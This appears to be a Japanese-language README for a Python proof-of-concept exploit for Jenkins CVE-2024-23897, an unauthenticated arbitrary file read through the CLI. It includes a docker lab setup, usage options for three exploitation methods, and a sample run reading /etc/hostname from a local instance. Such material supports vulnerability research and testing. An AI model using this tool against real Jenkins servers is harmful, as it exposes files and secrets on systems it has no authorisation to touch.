
Jenkins CVE-2024-23897用のPython PoC。CLIを介した任意ファイル読み取りで、未認証のファイル開示を複数の悪用方法で公開します。
CVE-2024-23897の概念実証(PoC)です。これは、Jenkinsの組み込みコマンドラインインターフェース(CLI)における任意のファイル読み取りの脆弱性です。Overall/Read権限を持つ認証されていない攻撃者が、Jenkinsコントローラのファイルシステム上の任意のファイルを読み取ることを可能にします。
影響を受けるバージョン
docker compose を使用してローカルの脆弱なインスタンスを起動します:
cd docker
docker compose up -d
インスタンスは http://localhost:1234 で利用可能になります
❯ python CVE-2024-23897.py --help
usage: CVE-2024-23897.py [-h] [--url URL] [--file FILE] [--method {1,2,3}]
Jenkins CVE-2024-23897 file-read PoC
options:
-h, --help show this help message and exit
--url URL URL for Jenkins instance (default: http://localhost:1234)
--file FILE File to read (default: /etc/hostname)
--method {1,2,3} The method to use [connect-node(1), who-am-i(2), or help(3)] (default: 1)
例
❯ python CVE-2024-23897.py --url 'http://127.0.0.1:1234/' --file '/etc/hostname'
[i] Vulnerable to CVE-2024-23897 (Jenkins v2.441 <= 2.441)
[*] Target URL http://127.0.0.1:1234/cli?remoting=false
[*] Attempting to read /etc/hostname
[i] Download request done
[+] Found data, printing...
ERROR: No such agent "jenkins_vuln_instance" exists.
[i] Upload request done
[i] All threads completed
このスクリプトは、並行処理と接続タイムアウトにより、大きなファイルの読み取りに問題が発生する可能性があります。より技術的な詳細と脆弱性のウォークスルーについては、私のブログ記事をご覧ください。